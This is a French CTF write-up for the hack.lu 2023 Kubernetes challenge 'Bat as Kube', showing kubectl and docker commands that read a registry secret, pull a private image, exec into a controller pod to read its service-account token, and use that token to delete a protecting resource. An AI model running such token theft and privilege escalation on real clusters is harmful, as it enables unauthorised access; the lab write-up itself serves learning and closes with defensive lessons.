Hack.lu 2023 — Misc Write-up : Bat as Kube

Les Pires Hat
5 min readOct 20, 2023

--

hack.lu 2023

En octobre 2023 notre équipe a participé au CTF hack.lu, nous avons beaucoup apprécié la variété et l’originalité des challenges proposés ainsi que la qualité du CTF dans son ensemble.

Bat as Kube

Ce write-up concerne le challenge Bat as Kube dans la catégorie misc.

Le challenge nous indique simplement qu’un flag est présent sur le cluster Kubernetes.

On commence alors l’analyse avec un service-account donné qui permet d’interagir avec l’API du cluster.

Premier réflexe avec un service-account, obtenir la liste des actions réalisables avec cet utilisateur sur le namespace par défaut :

kubectl --kubeconfig config auth can-i --list

On remarque alors la possibilité de récupérer un secret nommé docker-hub-login dans le default namespace.

apiVersion: v1
data:
.dockerconfigjson: ewogICAgImF1dGhzIjogewogICAgICAgICJnaXQuazhzLWN0Zi5kZToxMzM3IjogewogICAgICAgICAgICAiYXV0aCI6ICJZM1JtTFhCc1lYbGxjanBtTVY5NlduTktkVk4zTTNZMmVUZEdXSEJ1Y0E9PSIKICAgICAgICB9CiAgICB9Cn0K
kind: Secret
metadata:
creationTimestamp: "2023-10-15T09:55:02Z"
name: docker-hub-login
namespace: default
resourceVersion: "301"
uid: 3d79a1eb-641c-43ba-be6d-0511fd1fcb49
type: kubernetes.io/dockerconfigjson

Ce type de secret (dockerconfigjson) correspond aux identifiants requis pour interagir avec un registry notamment pour récupérer une image docker depuis un registry privé.

Ce secret nous permet de récupérer l’image utilisée par le container dans le pod flag-operator.

Ainsi après avoir ajouter les identifiants à la configuration de docker on peut alors se login et pull l’image git.k8s-ctf.de:1337/root/hacklu:latest

docker login git.k8s-ctf.de:1337
docker pull git.k8s-ctf.de:1337/root/hacklu:latest

Après récupération de l’image nous pouvons alors l’analyser avec dive ou simplement écraser l’entrypoint de l’image par /bin/sh afin de se balader dans le container en mode interactif.

docker run -it git.k8s-ctf.de:1337/root/hacklu:latest /bin/sh

On remarque alors le code python de l’opérateur :

from kubernetes import client, config, watch
import os
import uuid
import json

def read_flag():
flag = os.getenv("FLAG")
return str(flag)

def check_flagrequest(obj, crds, group, version, flagprotector_plural):
fp = crds.list_namespaced_custom_object(group, version, "flagprotector", flagprotector_plural)
if len(fp["items"]) > 0:
return False, "A Flagprotector is deployed somewhere in the cluster, you need to delete it first!"

fr = json.loads(json.dumps(obj))

if "metadata" not in fr.keys():
return False, "Flagrequest: Missing metadata"

if "labels" not in fr["metadata"].keys():
return False, "Flagrequest: Missing labels"

if "hack.lu/challenge-name" not in fr["metadata"]["labels"].keys():
return False, "Flagrequest: Missing label hack.lu/challenge-name"

if "give-flag" != fr["metadata"]["name"]:
return False, "Flagrequest: I dont like the request name, it should be 'give-flag'"

if "spec" not in fr.keys():
return False, "Flagrequest: Missing spec"

if "anti-bruteforce" not in fr["spec"].keys():
return False, "Flagrequest: 'anti-bruteforce' is missing in the spec"

if "Bi$wmX4PBTQLGe%AIKPO19$ussap4w" != fr["spec"]["anti-bruteforce"]:
return False, "Flagrequest: Anti-bruteforce token invalid! You dont need to bruteforce! Im hiding something in the cluster, that will help you :D"

return True, "Good Job!"

def main():
# Define CRDs
version = "v1"
group = "ctf.fluxfingers.hack.lu"

flagrequest_plural = "flagrequests"

flagprotector_plural = "flagprotectors"

flag_kind = "Flag"
flag_plural = "flags"


# Load CRDs
crds = client.CustomObjectsApi()

while True:
print("Watching for flagrequests...")
stream = watch.Watch().stream(crds.list_namespaced_custom_object, group, version, "default", flagrequest_plural)

for event in stream:
t = event["type"]
flagrequest = event["object"]

# Check if flagrequest was added
if t == "ADDED":

# Check if flagrequest is valid
accepted, error = check_flagrequest(flagrequest, crds, group, version, flagprotector_plural)
id = uuid.uuid4()
if accepted:
print("Flagrequest accepted, creating flag...")
# Create flag
crds.create_namespaced_custom_object(group, version, "default", flag_plural, {
"apiVersion": group + "/" + version,
"kind": flag_kind,
"metadata": {
"name": "flag" + str(id)
},
"spec": {
"flag": read_flag(),
"error": str(error),
}
})
else:
print("Flagrequest invalid")
# Create flag error
crds.create_namespaced_custom_object(group, version, "default", flag_plural, {
"apiVersion": group + "/" + version,
"kind": flag_kind,
"metadata": {
"name": "flag" + str(id)
},
"spec": {
"error": str(error),
}
})

if __name__ == "__main__":
print("Starting operator...")
try:
config.incluster_config.load_incluster_config()
except:
print("Failed to load incluster config")
exit(1)
main()

Pour rappel un opérateur sur Kubernetes correspond a un contrôleur qui ajoute des nouveaux objets à l’API de Kubernetes (Custom Resource Definition).
Un contrôleur est un programme qui pilote le comportement de ressource sur Kubernetes.
Ici l’opérateur en python est en charge de l’ajout des ressources Flag, Flagrequest et Flagprotector à l’API de Kubernetes et de la gestion du comportement des Flag et Flagrequest.

On remarque alors que pour l’obtention du flag l’opérateur vérifie les différentes Flagrequest créées afin de s’assurer qu’elles respectent des conditions arbitraires.
Si les conditions sont remplies alors l’opérateur crée un Flag avec la valeur du secret qui comporte le flag du challenge. Ce Flag sera alors accessible à l’utilisateur.

Les conditions que la Flagrequest doit remplir sont :

  • Un label qui a pour clé : hack.lu/challenge-name
  • Un name qui a pour valeur : give-flag
  • Une propriété anti-bruteforce dans l’objet spec avec pour valeur Bi$wmX4PBTQLGe%AIKPO19$ussap4w

Voici le YAML de définition d’une Flagrequest valide :

kind: Flagrequest
apiVersion: ctf.fluxfingers.hack.lu/v1
metadata:
name: give-flag
labels:
hack.lu/challenge-name: 'bat'
spec:
anti-bruteforce: Bi$wmX4PBTQLGe%AIKPO19$ussap4w

Il y a cependant une condition supplémentaire qui ne concerne pas la Flagrequest : il ne doit y avoir aucun Flagprotector déployé sur le cluster.

On remarque rapidement la présence d’un Flagprotector sur le cluster :

kubectl --kubeconfig config get Flagprotector -A
apiVersion: ctf.fluxfingers.hack.lu/v1
kind: Flagprotector
metadata:
creationTimestamp: "2023-10-15T09:55:04Z"
generation: 1
name: flag-protection
namespace: flagprotector
resourceVersion: "350"
uid: be24c244-5f66-4968-88b7-50c11cbfeb0f
spec:
message: As long as I live, no one can create a flag!

Et notre service-account n’a pas les droits pour le supprimer.

Cependant en listant les droits de notre utilisateur sur le namespace flagprotector on remarque la possibilité d’exécuter des commandes sur le pod flagprotector-controller : le contrôleur en charge des Flagprotector.

kubectl --kubeconfig config auth can-i --list -n flagprotector

Si on récupère le service-account de ce pod alors on devrait pouvoir supprimer le Flagprotector déployé car le contrôleur a besoin des droits sur la ressource qu’il contrôle.

On peut alors récupérer le service-account du contrôleur :

kubectl --kubeconfig config exec -n flagprotector -it flagprotector-controller-7599f788dc-hzqgc -- cat /var/run/secrets/kubernetes.io/serviceaccount/token

Et supprimer le Flagprotector déployé en utilisant le token récupéré sur le contrôleur :

kubectl --kubeconfig config --token TOKEN delete flagprotector -n flagprotector flag-protection

Enfin il ne reste plus qu’à appliquer notre Flagrequest et récupérer le Flag :

kubectl --kubeconfig config apply flagrequest.yaml 

kubectl --kubeconfig config get flag
NAME FLAG ERROR
flag3a97433b-6a12-4d51-a1dc-c4a1306c5a39 flag{us1ng_0p3r4t0rs_c4n_b3_3v3n_m0r3_funny} Good Job!

Il ne reste plus qu’à valider le challenge ! 🥳

En conclusion, le challenge permet de mettre en évidence plusieurs points d’attention en terme de sécurité sur un cluster Kubernetes :

  • l’utilisation de service-account avec trop de droits (get secret dockerconfigjson, exec sur le flagprotector-controller…)
  • la compréhension du fonctionnement d’un opérateur afin d’anticiper son comportement

Contactez-moi :
LinkedIn
Twitter

--

--